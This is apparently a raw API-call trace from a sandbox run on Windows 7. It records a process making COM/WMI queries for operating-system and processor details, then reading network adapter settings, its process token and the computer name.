	[0102.339] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5e414 | out: ppvObject=0x6b5e414*=0x0) returned 0x80004002
	[0102.341] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5e234 | out: ppvObject=0x6b5e234*=0x0) returned 0x80004002
	[0102.344] IUnknown:AddRef (This=0x72d1dc) returned 0x3
	[0102.344] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5dd74 | out: ppvObject=0x6b5dd74*=0x0) returned 0x80004002
	[0102.346] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5dd24 | out: ppvObject=0x6b5dd24*=0x0) returned 0x80004002
	[0102.351] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dd30 | out: ppvObject=0x6b5dd30*=0x72d13c) returned 0x0
	[0102.351] IMarshal:GetUnmarshalClass (in: This=0x72d13c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5dd38 | out: pCid=0x6b5dd38*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0102.351] IUnknown:Release (This=0x72d13c) returned 0x3
	[0102.351] CoGetContextToken (in: pToken=0x6b5dd90 | out: pToken=0x6b5dd90) returned 0x0
	[0102.351] CoGetContextToken (in: pToken=0x6b5e198 | out: pToken=0x6b5e198) returned 0x0
	[0102.351] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e228 | out: ppvObject=0x6b5e228*=0x72d1c4) returned 0x0
	[0102.351] IRpcOptions:Query (in: This=0x72d1c4, pPrx=0x72d1dc, dwProperty=2, pdwValue=0x6b5e250 | out: pdwValue=0x6b5e250) returned 0x80004002
	[0102.351] IUnknown:Release (This=0x72d1c4) returned 0x3
	[0102.351] IUnknown:Release (This=0x72d1dc) returned 0x2
	[0102.351] CoGetContextToken (in: pToken=0x6b5e768 | out: pToken=0x6b5e768) returned 0x0
	[0102.351] CoGetContextToken (in: pToken=0x6b5e6c8 | out: pToken=0x6b5e6c8) returned 0x0
	[0102.351] IUnknown:QueryInterface (in: This=0x72d1dc, riid=0x6b5e798*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x6b5e794 | out: ppvObject=0x6b5e794*=0x69bd91c) returned 0x0
	[0102.351] IUnknown:AddRef (This=0x69bd91c) returned 0x4
	[0102.351] IUnknown:Release (This=0x69bd91c) returned 0x3
	[0102.351] IUnknown:Release (This=0x69bd91c) returned 0x2
	[0102.351] IUnknown:Release (This=0x69b09c4) returned 0x2
	[0102.351] SysStringLen (param_1=0x0) returned 0x0
	[0102.351] IEnumWbemClassObject:Reset (This=0x69bd91c) returned 0x0
	[0102.354] CoTaskMemAlloc (cb=0x4) returned 0x719950
	[0102.354] IEnumWbemClassObject:Next (in: This=0x69bd91c, lTimeout=-1, uCount=0x1, apObjects=0x719950, puReturned=0x24944e8 | out: apObjects=0x719950*=0x69bd958, puReturned=0x24944e8*=0x1) returned 0x0
	[0102.356] IUnknown:QueryInterface (in: This=0x69bd958, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e018 | out: ppvObject=0x6b5e018*=0x69bd958) returned 0x0
	[0102.356] IUnknown:QueryInterface (in: This=0x69bd958, riid=0x735ffc00*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x6b5dfd4 | out: ppvObject=0x6b5dfd4*=0x0) returned 0x80004002
	[0102.356] IUnknown:QueryInterface (in: This=0x69bd958, riid=0x735ffe90*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x6b5ddf4 | out: ppvObject=0x6b5ddf4*=0x0) returned 0x80004002
	[0102.356] IUnknown:AddRef (This=0x69bd958) returned 0x3
	[0102.356] IUnknown:QueryInterface (in: This=0x69bd958, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5d934 | out: ppvObject=0x6b5d934*=0x0) returned 0x80004002
	[0102.356] IUnknown:QueryInterface (in: This=0x69bd958, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5d8e4 | out: ppvObject=0x6b5d8e4*=0x0) returned 0x80004002
	[0102.356] IUnknown:QueryInterface (in: This=0x69bd958, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5d8f0 | out: ppvObject=0x6b5d8f0*=0x69bd95c) returned 0x0
	[0102.356] IMarshal:GetUnmarshalClass (in: This=0x69bd95c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5d8f8 | out: pCid=0x6b5d8f8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0
	[0102.357] IUnknown:Release (This=0x69bd95c) returned 0x3
	[0102.357] CoGetContextToken (in: pToken=0x6b5d950 | out: pToken=0x6b5d950) returned 0x0
	[0102.357] CoGetContextToken (in: pToken=0x6b5dd58 | out: pToken=0x6b5dd58) returned 0x0
	[0102.357] IUnknown:QueryInterface (in: This=0x69bd958, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dde8 | out: ppvObject=0x6b5dde8*=0x0) returned 0x80004002
	[0102.357] IUnknown:Release (This=0x69bd958) returned 0x2
	[0102.357] CoGetContextToken (in: pToken=0x6b5e328 | out: pToken=0x6b5e328) returned 0x0
	[0102.357] CoGetContextToken (in: pToken=0x6b5e288 | out: pToken=0x6b5e288) returned 0x0
	[0102.357] IUnknown:QueryInterface (in: This=0x69bd958, riid=0x6b5e358*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x6b5e354 | out: ppvObject=0x6b5e354*=0x69bd958) returned 0x0
	[0102.357] IUnknown:AddRef (This=0x69bd958) returned 0x4
	[0102.357] IUnknown:Release (This=0x69bd958) returned 0x3
	[0102.357] IUnknown:Release (This=0x69bd958) returned 0x2
	[0102.357] CoTaskMemFree (pv=0x719950) 
	[0102.357] CoGetContextToken (in: pToken=0x6b5e698 | out: pToken=0x6b5e698) returned 0x0
	[0102.357] IUnknown:AddRef (This=0x69bd958) returned 0x3
	[0102.357] IWbemClassObject:Get (in: This=0x69bd958, wszName="__GENUS", lFlags=0, pVal=0x6b5e9a8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x6b5ea28*=0, plFlavor=0x6b5ea24*=0 | out: pVal=0x6b5e9a8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x6b5ea28*=3, plFlavor=0x6b5ea24*=64) returned 0x0
	[0102.357] IWbemClassObject:Get (in: This=0x69bd958, wszName="__PATH", lFlags=0, pVal=0x6b5e98c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x6b5ea10*=0, plFlavor=0x6b5ea0c*=0 | out: pVal=0x6b5e98c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\YKYD69Q\\root\\cimv2:Win32_OperatingSystem=@", varVal2=0x0), pType=0x6b5ea10*=8, plFlavor=0x6b5ea0c*=64) returned 0x0
	[0102.357] SysStringByteLen (bstr="\\\\YKYD69Q\\root\\cimv2:Win32_OperatingSystem=@") returned 0x58
	[0102.357] SysStringByteLen (bstr="\\\\YKYD69Q\\root\\cimv2:Win32_OperatingSystem=@") returned 0x58
	[0102.357] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x594
	[0102.357] SetEvent (hEvent=0x480) returned 1
	[0102.357] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6b5e964*=0x594, lpdwindex=0x6b5e784 | out: lpdwindex=0x6b5e784) returned 0x0
	[0102.358] CoGetContextToken (in: pToken=0x6b5e830 | out: pToken=0x6b5e830) returned 0x0
	[0102.359] CoGetContextToken (in: pToken=0x6b5e790 | out: pToken=0x6b5e790) returned 0x0
	[0102.359] WbemDefPath:IUnknown:QueryInterface (in: This=0x69b0a00, riid=0x6b5e860*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6b5e85c | out: ppvObject=0x6b5e85c*=0x69b0a00) returned 0x0
	[0102.359] WbemDefPath:IUnknown:AddRef (This=0x69b0a00) returned 0x3
	[0102.359] WbemDefPath:IUnknown:Release (This=0x69b0a00) returned 0x2
	[0102.359] WbemDefPath:IWbemPath:SetText (This=0x69b0a00, uMode=0x4, pszPath="\\\\YKYD69Q\\root\\cimv2:Win32_OperatingSystem=@") returned 0x0
	[0102.359] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6b5e9e4 | out: puCount=0x6b5e9e4*=0x2) returned 0x0
	[0102.359] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e9e0*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e9e0*=0xf, pszText=0x0) returned 0x0
	[0102.359] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e9e0*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e9e0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0102.359] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6b5e9d8 | out: puCount=0x6b5e9d8*=0x2) returned 0x0
	[0102.359] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e9d4*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e9d4*=0xf, pszText=0x0) returned 0x0
	[0102.359] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e9d4*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e9d4*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0102.359] IWbemClassObject:Get (in: This=0x69bd958, wszName="Name", lFlags=0, pVal=0x6b5e9d4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2494d2c*=0, plFlavor=0x2494d30*=0 | out: pVal=0x6b5e9d4*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1", varVal2=0x0), pType=0x2494d2c*=8, plFlavor=0x2494d30*=0) returned 0x0
	[0102.359] SysStringByteLen (bstr="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1") returned 0x92
	[0102.359] SysStringByteLen (bstr="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1") returned 0x92
	[0102.359] IWbemClassObject:Get (in: This=0x69bd958, wszName="Name", lFlags=0, pVal=0x6b5e9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2494d2c*=8, plFlavor=0x2494d30*=0 | out: pVal=0x6b5e9dc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1", varVal2=0x0), pType=0x2494d2c*=8, plFlavor=0x2494d30*=0) returned 0x0
	[0102.359] SysStringByteLen (bstr="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1") returned 0x92
	[0102.359] SysStringByteLen (bstr="Microsoft Windows 7 Professional |C:\\Windows|\\Device\\Harddisk0\\Partition1") returned 0x92
	[0102.359] SleepEx (dwMilliseconds=0x1388, bAlertable=1) returned 0x0
	[0107.359] GetNetworkParams (in: pFixedInfo=0x0, pOutBufLen=0x6b5e924 | out: pFixedInfo=0x0, pOutBufLen=0x6b5e924) returned 0x6f
	[0107.367] LocalAlloc (uFlags=0x0, uBytes=0x248) returned 0x74ac88
	[0107.367] GetNetworkParams (in: pFixedInfo=0x74ac88, pOutBufLen=0x6b5e924 | out: pFixedInfo=0x74ac88, pOutBufLen=0x6b5e924) returned 0x0
	[0107.375] LocalFree (hMem=0x74ac88) returned 0x0
	[0107.375] GetAdaptersAddresses () returned 0x6f
	[0107.380] LocalAlloc (uFlags=0x0, uBytes=0xe10) returned 0x73aa60
	[0107.380] GetAdaptersAddresses () returned 0x0
	[0107.385] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x0, pOutBufLen=0x6b5e690 | out: pPerAdapterInfo=0x0, pOutBufLen=0x6b5e690) returned 0x6f
	[0107.392] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b93f8
	[0107.392] GetPerAdapterInfo (in: IfIndex=0xb, pPerAdapterInfo=0x6b93f8, pOutBufLen=0x6b5e690 | out: pPerAdapterInfo=0x6b93f8, pOutBufLen=0x6b5e690) returned 0x0
	[0107.416] LocalFree (hMem=0x6b93f8) returned 0x0
	[0107.416] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x0, pOutBufLen=0x6b5e690 | out: pPerAdapterInfo=0x0, pOutBufLen=0x6b5e690) returned 0x6f
	[0107.423] LocalAlloc (uFlags=0x0, uBytes=0x5c) returned 0x6b93f8
	[0107.423] GetPerAdapterInfo (in: IfIndex=0x1, pPerAdapterInfo=0x6b93f8, pOutBufLen=0x6b5e690 | out: pPerAdapterInfo=0x6b93f8, pOutBufLen=0x6b5e690) returned 0x0
	[0107.429] LocalFree (hMem=0x6b93f8) returned 0x0
	[0107.429] LocalFree (hMem=0x73aa60) returned 0x0
	[0107.469] GetCurrentProcess () returned 0xffffffff
	[0107.469] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x6b5e660 | out: TokenHandle=0x6b5e660*=0x57c) returned 1
	[0107.472] GetCurrentProcess () returned 0xffffffff
	[0107.472] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x6b5e670 | out: TokenHandle=0x6b5e670*=0x56c) returned 1
	[0107.502] GetComputerNameW (in: lpBuffer=0x6b5e808, nSize=0x6b5ea80 | out: lpBuffer="YKYD69Q", nSize=0x6b5ea80) returned 1
	[0107.509] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x5a4
	[0107.509] SetEvent (hEvent=0x480) returned 1
	[0107.509] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6b5e958*=0x5a4, lpdwindex=0x6b5e774 | out: lpdwindex=0x6b5e774) returned 0x0
	[0107.512] CoGetContextToken (in: pToken=0x6b5e828 | out: pToken=0x6b5e828) returned 0x0
	[0107.512] CoGetContextToken (in: pToken=0x6b5e788 | out: pToken=0x6b5e788) returned 0x0
	[0107.512] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c0428, riid=0x6b5e858*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6b5e854 | out: ppvObject=0x6b5e854*=0x69c0428) returned 0x0
	[0107.512] WbemDefPath:IUnknown:AddRef (This=0x69c0428) returned 0x3
	[0107.512] WbemDefPath:IUnknown:Release (This=0x69c0428) returned 0x2
	[0107.512] WbemDefPath:IWbemPath:SetText (This=0x69c0428, uMode=0x4, pszPath="win32_processor") returned 0x0
	[0107.512] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c0428, puCount=0x6b5e9d8 | out: puCount=0x6b5e9d8*=0x0) returned 0x0
	[0107.512] WbemDefPath:IWbemPath:GetText (in: This=0x69c0428, lFlags=2, puBuffLength=0x6b5e9d4*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e9d4*=0x10, pszText=0x0) returned 0x0
	[0107.512] WbemDefPath:IWbemPath:GetText (in: This=0x69c0428, lFlags=2, puBuffLength=0x6b5e9d4*=0x10, pszText="000000000000000" | out: puBuffLength=0x6b5e9d4*=0x10, pszText="win32_processor") returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetInfo (in: This=0x69c0428, uRequestedInfo=0x0, puResponse=0x6b5e9e0 | out: puResponse=0x6b5e9e0*=0xc15) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c0428, puCount=0x6b5e9d8 | out: puCount=0x6b5e9d8*=0x0) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetInfo (in: This=0x69c0428, uRequestedInfo=0x0, puResponse=0x6b5e9e0 | out: puResponse=0x6b5e9e0*=0xc15) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c0428, puCount=0x6b5e9c8 | out: puCount=0x6b5e9c8*=0x0) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetText (in: This=0x69c0428, lFlags=2, puBuffLength=0x6b5e9c4*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e9c4*=0x10, pszText=0x0) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetText (in: This=0x69c0428, lFlags=2, puBuffLength=0x6b5e9c4*=0x10, pszText="000000000000000" | out: puBuffLength=0x6b5e9c4*=0x10, pszText="win32_processor") returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c0428, puCount=0x6b5e9c8 | out: puCount=0x6b5e9c8*=0x0) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetText (in: This=0x69c0428, lFlags=2, puBuffLength=0x6b5e9c4*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e9c4*=0x10, pszText=0x0) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetText (in: This=0x69c0428, lFlags=2, puBuffLength=0x6b5e9c4*=0x10, pszText="000000000000000" | out: puBuffLength=0x6b5e9c4*=0x10, pszText="win32_processor") returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c0428, puCount=0x6b5e958 | out: puCount=0x6b5e958*=0x0) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69bd6f8, puCount=0x6b5e944 | out: puCount=0x6b5e944*=0x2) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e940*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e940*=0xf, pszText=0x0) returned 0x0
	[0107.513] WbemDefPath:IWbemPath:GetText (in: This=0x69bd6f8, lFlags=4, puBuffLength=0x6b5e940*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0107.513] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x574
	[0107.513] SetEvent (hEvent=0x480) returned 1
	[0107.513] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x6b5e8a0*=0x574, lpdwindex=0x6b5e6bc | out: lpdwindex=0x6b5e6bc) returned 0x0
	[0107.514] CoGetContextToken (in: pToken=0x6b5e770 | out: pToken=0x6b5e770) returned 0x0
	[0107.514] CoGetContextToken (in: pToken=0x6b5e6d0 | out: pToken=0x6b5e6d0) returned 0x0
	[0107.514] WbemDefPath:IUnknown:QueryInterface (in: This=0x69c6918, riid=0x6b5e7a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x6b5e79c | out: ppvObject=0x6b5e79c*=0x69c6918) returned 0x0
	[0107.514] WbemDefPath:IUnknown:AddRef (This=0x69c6918) returned 0x3
	[0107.514] WbemDefPath:IUnknown:Release (This=0x69c6918) returned 0x2
	[0107.514] WbemDefPath:IWbemPath:SetText (This=0x69c6918, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0
	[0107.514] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x69c6918, puCount=0x6b5e91c | out: puCount=0x6b5e91c*=0x2) returned 0x0
	[0107.514] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e918*=0x0, pszText=0x0 | out: puBuffLength=0x6b5e918*=0xf, pszText=0x0) returned 0x0
	[0107.514] WbemDefPath:IWbemPath:GetText (in: This=0x69c6918, lFlags=4, puBuffLength=0x6b5e918*=0xf, pszText="00000000000000" | out: puBuffLength=0x6b5e918*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0
	[0107.538] CoMarshalInterface (pStm=0x7181a8, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x72cffc, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0
	[0107.538] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e4cc | out: ppvObject=0x6b5e4cc*=0x72cffc) returned 0x0
	[0107.541] IUnknown:AddRef (This=0x72cffc) returned 0x3
	[0107.541] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ff90c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x6b5dde4 | out: ppvObject=0x6b5dde4*=0x0) returned 0x80004002
	[0107.549] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ff860*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x6b5dd94 | out: ppvObject=0x6b5dd94*=0x0) returned 0x80004002
	[0107.551] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ec350*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5dda0 | out: ppvObject=0x6b5dda0*=0x72cf5c) returned 0x0
	[0107.551] IMarshal:GetUnmarshalClass (in: This=0x72cf5c, riid=0x734ce814*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x6b5dda8 | out: pCid=0x6b5dda8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0
	[0107.551] IUnknown:Release (This=0x72cf5c) returned 0x3
	[0107.551] CoGetContextToken (in: pToken=0x6b5de00 | out: pToken=0x6b5de00) returned 0x0
	[0107.551] CoGetContextToken (in: pToken=0x6b5e208 | out: pToken=0x6b5e208) returned 0x0
	[0107.551] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x735ffb48*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e298 | out: ppvObject=0x6b5e298*=0x72cfe4) returned 0x0
	[0107.551] IRpcOptions:Query (in: This=0x72cfe4, pPrx=0x72cffc, dwProperty=2, pdwValue=0x6b5e2c0 | out: pdwValue=0x6b5e2c0) returned 0x0
	[0107.551] IUnknown:Release (This=0x72cfe4) returned 0x3
	[0107.551] IUnknown:Release (This=0x72cffc) returned 0x2
	[0107.551] IUnknown:Release (This=0x72cffc) returned 0x1
	[0107.551] CoGetContextToken (in: pToken=0x6b5e578 | out: pToken=0x6b5e578) returned 0x0
	[0107.551] IUnknown:AddRef (This=0x72cffc) returned 0x2
	[0107.552] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x73be1104*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e830 | out: ppvObject=0x6b5e830*=0x72cfdc) returned 0x0
	[0107.552] IClientSecurity:QueryBlanket (in: This=0x72cfdc, pProxy=0x72cffc, pAuthnSvc=0x6b5e880, pAuthzSvc=0x6b5e87c, pServerPrincName=0x6b5e874, pAuthnLevel=0x6b5e878, pImpLevel=0x6b5e868, pAuthInfo=0x6b5e86c, pCapabilites=0x6b5e870 | out: pAuthnSvc=0x6b5e880*=0xa, pAuthzSvc=0x6b5e87c*=0x0, pServerPrincName=0x6b5e874, pAuthnLevel=0x6b5e878*=0x6, pImpLevel=0x6b5e868*=0x2, pAuthInfo=0x6b5e86c, pCapabilites=0x6b5e870*=0x1) returned 0x0
	[0107.552] IUnknown:Release (This=0x72cfdc) returned 0x2
	[0107.552] IUnknown:QueryInterface (in: This=0x72cffc, riid=0x73be10f4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x6b5e824 | out: ppvObject=0x6b5e824*=0x72cffc) returned 0x0
